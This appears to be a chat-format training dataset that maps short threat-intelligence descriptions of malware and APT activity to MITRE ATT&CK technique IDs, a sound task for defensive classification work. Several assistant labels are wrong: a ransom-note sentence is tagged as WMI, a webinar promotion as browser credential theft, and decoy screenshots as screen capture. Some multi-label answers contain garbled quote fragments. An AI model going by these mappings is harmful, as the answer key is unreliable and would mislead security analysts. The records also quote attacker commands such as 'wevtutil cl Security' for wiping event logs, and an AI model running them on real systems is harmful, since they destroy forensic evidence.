                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Carbanak encodes the message body of HTTP traffic with Base64."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "REvil can decode encrypted strings to enable execution of commands and payloads."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "VALUEVAULT is a Golang compiled version of the “Windows Vault Password Dumper” browser credential theft tool from Massimiliano Montoro, the developer of Cain &amp; Abel"
            },
            {
                "role": "assistant",
                "content": "T1555.004 - Credentials from Password Stores: Windows Credential Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used multiple software exploits for common client software, like Microsoft Word and Adobe Reader, to gain code execution as part of."
            },
            {
                "role": "assistant",
                "content": "T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Drovorub can execute arbitrary commands as root on a compromised system."
            },
            {
                "role": "assistant",
                "content": "T1059.004 - Command and Scripting Interpreter: Bash"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "LoudMiner harvested system resources to mine cryptocurrency, using XMRig to mine Monero."
            },
            {
                "role": "assistant",
                "content": "T1496 - Resource Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AADInternals can be used to create SAML tokens using the AD Federated Services token signing certificate."
            },
            {
                "role": "assistant",
                "content": "T1606.002 - Forge Web Credentials: SAML token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ZxShell can launch port scans."
            },
            {
                "role": "assistant",
                "content": "T1046 - Network Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "supports file encryption (AES with the key \"lolomycin2017\")."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bumblebee has the ability to base64 encode C2 server responses."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT18 obfuscates strings in the payload."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This threat group has conducted broad targeting across a variety of industries, including financial, government, energy, chemical, and telecommunications. Join us in a live webinar as we discuss this threat group whom we assess to be working on behalf of the Iranian Government, with a mission that would benefit nation-state geopolitical and economic needs. APT34 uses a mix of public and non-public tools, often conducting spear phishing operations using compromised accounts from trusted third parties, sometimes coupled with social engineering tactics. Register today to gain deeper insights into this threat group"
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "POORAIM can conduct file browsing."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "samples have been seen which hijack COM objects for persistence by replacing the path to shell32.dll in registry location HKCU\\Software\\Classes\\CLSID\\{42aedc87-2188-41fd-b9a3-0c966feabec1}\\InprocServer32."
            },
            {
                "role": "assistant",
                "content": "T1546.015 - Event Triggered Execution: Component Object Model Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Mustang Panda has used a legitimately signed executable to execute a malicious payload within a DLL file."
            },
            {
                "role": "assistant",
                "content": "T1574.002 - Hijack Execution Flow: DLL Side-Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Many of this APT’s components are signed with phony Intel and AMD digital certificates"
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Code Signing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Credential Harvesting Attack On June 24, 2018, Unit 42 observed DarkHydrus carrying out a credential harvesting attack on an educational institution in the Middle East"
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During Operation Dust Storm, the threat actors used a watering hole attack on a popular software reseller to exploit the then-zero-day Internet Explorer vulnerability CVE-2014-0322."
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Note that the username could be a small joke on the attackers’ part regarding the attribution to FIN7"
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used stolen credentials to connect remotely to victim networks using VPNs protected with only a single factor. The group has also moved laterally using the Local Administrator account."
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Turla has created web accounts including Dropbox and GitHub for C2 and document exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1583.006 - Web Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CaddyWiper can work alphabetically through drives on a compromised system to take ownership of and overwrite all files."
            },
            {
                "role": "assistant",
                "content": "T1485 - Data Destruction"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has targeted victims with spearphishing emails containing malicious Microsoft Word documents."
            },
            {
                "role": "assistant",
                "content": "T1598.002 - Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "StreamEx has the ability to enumerate system information."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "LazyScripter has used a variety of open-source remote access Trojans for its operations."
            },
            {
                "role": "assistant",
                "content": "T1588.001 - Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "discovers information about the infected machine."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After running within the %TEMP% path, Comnie will delete the original file"
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MechaFlounder has been downloaded as a file named lsass.exe, which matches the legitimate Windows file."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can use PowerSploit or other scripting frameworks to perform execution."
            },
            {
                "role": "assistant",
                "content": "T1064 - Scripting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Once the executable file is executed, it will proceed to unzip a file named mdkhm.zip and then execute a Crimson RAT executable named dlrarhsiva.exe."
            },
            {
                "role": "assistant",
                "content": "T1588.001 - Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ShimRat has hijacked the cryptbase.dll within migwiz.exe to escalate privileges. This prevented the User Access Control window from appearing."
            },
            {
                "role": "assistant",
                "content": "T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PoshC2 can enumerate local and domain user account information."
            },
            {
                "role": "assistant",
                "content": "T1087.001 - Account Discovery: Local Account', 'T1087.002 - Account Discovery: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "WindTail can identify and add files that possess specific file extensions to an array for archiving."
            },
            {
                "role": "assistant",
                "content": "T1119 - Automated Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Wizard Spider has used \"whoami\" to identify the local user and their privileges."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can perform keylogging."
            },
            {
                "role": "assistant",
                "content": "T1056 - Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT40 used MURKYSHELL at a compromised victim organization to port scan IP addresses and conduct network enumeration"
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Interestingly, we’ve seen recent samples embedding decoy documents that are screenshots of botnet C&C panels or dumps of credit card numbers"
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "attempted to use RDP to move laterally."
            },
            {
                "role": "assistant",
                "content": "T1021.001 - Remote Services: Remote Desktop Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BLACKCOFFEE uses Microsoft’s TechNet Web portal to obtain an encoded tag containing the IP address of a command and control server and then communicates separately with that IP address for C2. If the C2 server is discovered or shut down, the threat actors can update the encoded IP address on TechNet to maintain control of the victims’ machines."
            },
            {
                "role": "assistant",
                "content": "T1104 - Multi-Stage Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT41 used the \"net share\" command as part of network reconnaissance."
            },
            {
                "role": "assistant",
                "content": "T1135 - Network Share Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat Group-3390 has extensively used strategic web compromises to target victims."
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Stolen Pencil sent spearphishing emails containing links to domains controlled by the threat actor."
            },
            {
                "role": "assistant",
                "content": "T1566.002 - Phishing: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Rancor has downloaded additional malware, including by using certutil."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Sandworm Team has used a tool to query Active Directory using LDAP, discovering information about computers listed in AD."
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After the files are encrypted the program will write a ransom note to each folder and directory on the system called read_me_unlock.txt"
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Afterwards, the persistence file will be created in /Library/LaunchDaemons/ or ~/Library/LaunchAgents/  folder"
            },
            {
                "role": "assistant",
                "content": "T1564.001 - Hide Artifacts: Hidden Files and Directories', 'T1543.001 - Create or Modify System Process: Launch Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Trojan.Karagany can use Tasklist to collect a list of running tasks."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Blue Mockingbird has obfuscated the wallet address in the payload binary."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "variants can use ports 443, 8443, and 8080 for communications."
            },
            {
                "role": "assistant",
                "content": "T1043 - Commonly Used Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "embedded a malicious macro in a Word document and lured the victim to click on an icon to execute the malware."
            },
            {
                "role": "assistant",
                "content": "T1204 - User Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "POWRUNER may collect information on the victim's anti-virus software."
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "QakBot can make small changes to itself in order to change its checksum and hash value."
            },
            {
                "role": "assistant",
                "content": "T1027.005 - Indicator Removal from Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT28 has cleared event logs, including by using the commands \"wevtutil cl System\" and \"wevtutil cl Security\"."
            },
            {
                "role": "assistant",
                "content": "T1070.001 - Indicator Removal on Host: Clear Windows Event Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Lazarus Group malware also uses a unique form of communication encryption known as FakeTLS that mimics TLS but uses a different encryption method, potentially evading SSL traffic inspection/decryption."
            },
            {
                "role": "assistant",
                "content": "T1001.003 - Protocol or Service Impersonation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TeamTNT has added batch scripts to the startup folder."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Imminent Monitor has a dynamic debugging feature to set the file attribute to hidden."
            },
            {
                "role": "assistant",
                "content": "T1564.001 - Hide Artifacts: Hidden Files and Directories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "NETWIRE has the ability to steal credentials from web browsers including Internet Explorer, Opera, Yandex, and Chrome."
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Figure 3: FIN7 phishing lure persistence mechanisms Examining Attacker Shortcut Files In many cases, attacker-created LNK files can reveal valuable information about the attacker’s development environment"
            },
            {
                "role": "assistant",
                "content": "T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The RDAT sample with the novel EWS C2 channel also had HTTP and DNS tunneling as C2 channels as well, which are very similar to other RDAT samples we collected. The HTTP C2 channel uses HTTP POST requests to transmit data to the C2 server"
            },
            {
                "role": "assistant",
                "content": "T1030 - Data Transfer Size Limits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "LazyScripter has leveraged the BatchEncryption tool to perform advanced batch obfuscation and encoding techniques."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ferocious has the ability to add a Class ID in the current user Registry hive to enable persistence mechanisms."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Emotet occasionally takes a break from delivering malicious emails. Emotet's longest absence from the threat landscape occurred in early February 2020 and lasted more than five months. Emotet resumed operations in mid-July 2020, and it quickly surpassed other threats in sheer volume of malicious spam."
            },
            {
                "role": "assistant",
                "content": "T1098.002 - Account Manipulation: Additional Email Delegate Permissions', 'T1566 - Phishing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The NOKKI malware itself has been updated in the short period of time it has been observed, moving from FTP to HTTP for C2 operations. The malware is modular in nature, and based on analysis of the information gathering module, it is highly likely the NOKKI operators are the same as the KONNI operators"
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols', 'T1071.002 - File Transfer Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MacMa can use Core Graphics Event Taps to intercept user keystrokes from any text input field and saves them to text files. Text input fields include Spotlight, Finder, Safari, Mail, Messages, and other apps that have text fields for passwords."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MacSpy uses Tor for command and control."
            },
            {
                "role": "assistant",
                "content": "T1090.003 - Proxy: Multi-hop Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has commands to enumerate all storage devices and to find all files that start with a particular string."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ke3chang malware including RoyalCli and BS2005 have communicated over HTTP with the C2 server through Internet Explorer (IE) by using the COM interface IWebBrowser2."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "gathers the Mac address, IP address, and the network adapter information from the victim’s machine."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The Rclone \"chunker\" overlay supports splitting large files in smaller chunks during upload to circumvent size limits."
            },
            {
                "role": "assistant",
                "content": "T1030 - Data Transfer Size Limits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SILENTTRINITY can establish a LNK file in the startup folder for persistence."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The technique of having a signed, legitimate, executable load a malicious library is commonly referred to as side-loading, and has been witnessed in a number of campaigns and malware families in the past"
            },
            {
                "role": "assistant",
                "content": "T1574.002 - Hijack Execution Flow: DLL Side-Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Egregor has been decrypted before execution."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ramsay has used HTTP for C2."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AppleSeed has compressed collected data before exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1560 - Archive Collected Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Catchamas gathers the Mac address, IP address, and the network adapter information from the victim’s machine."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CTU researchers have observed BRONZE PRESIDENT targeting multiple NGOs. The threat actors steal data from compromised systems over a long period of time, which likely indicates a long-term objective of monitoring the target's network. BRONZE PRESIDENT uses custom batch scripts to collect either specific file types (including files with .pptx, .xlsx, .pdf extensions) or all files within a specific location. CTU researchers also observed evidence that the threat actors collect credentials from high-privilege network accounts and reputationally sensitive accounts, such as social media and webmail accounts"
            },
            {
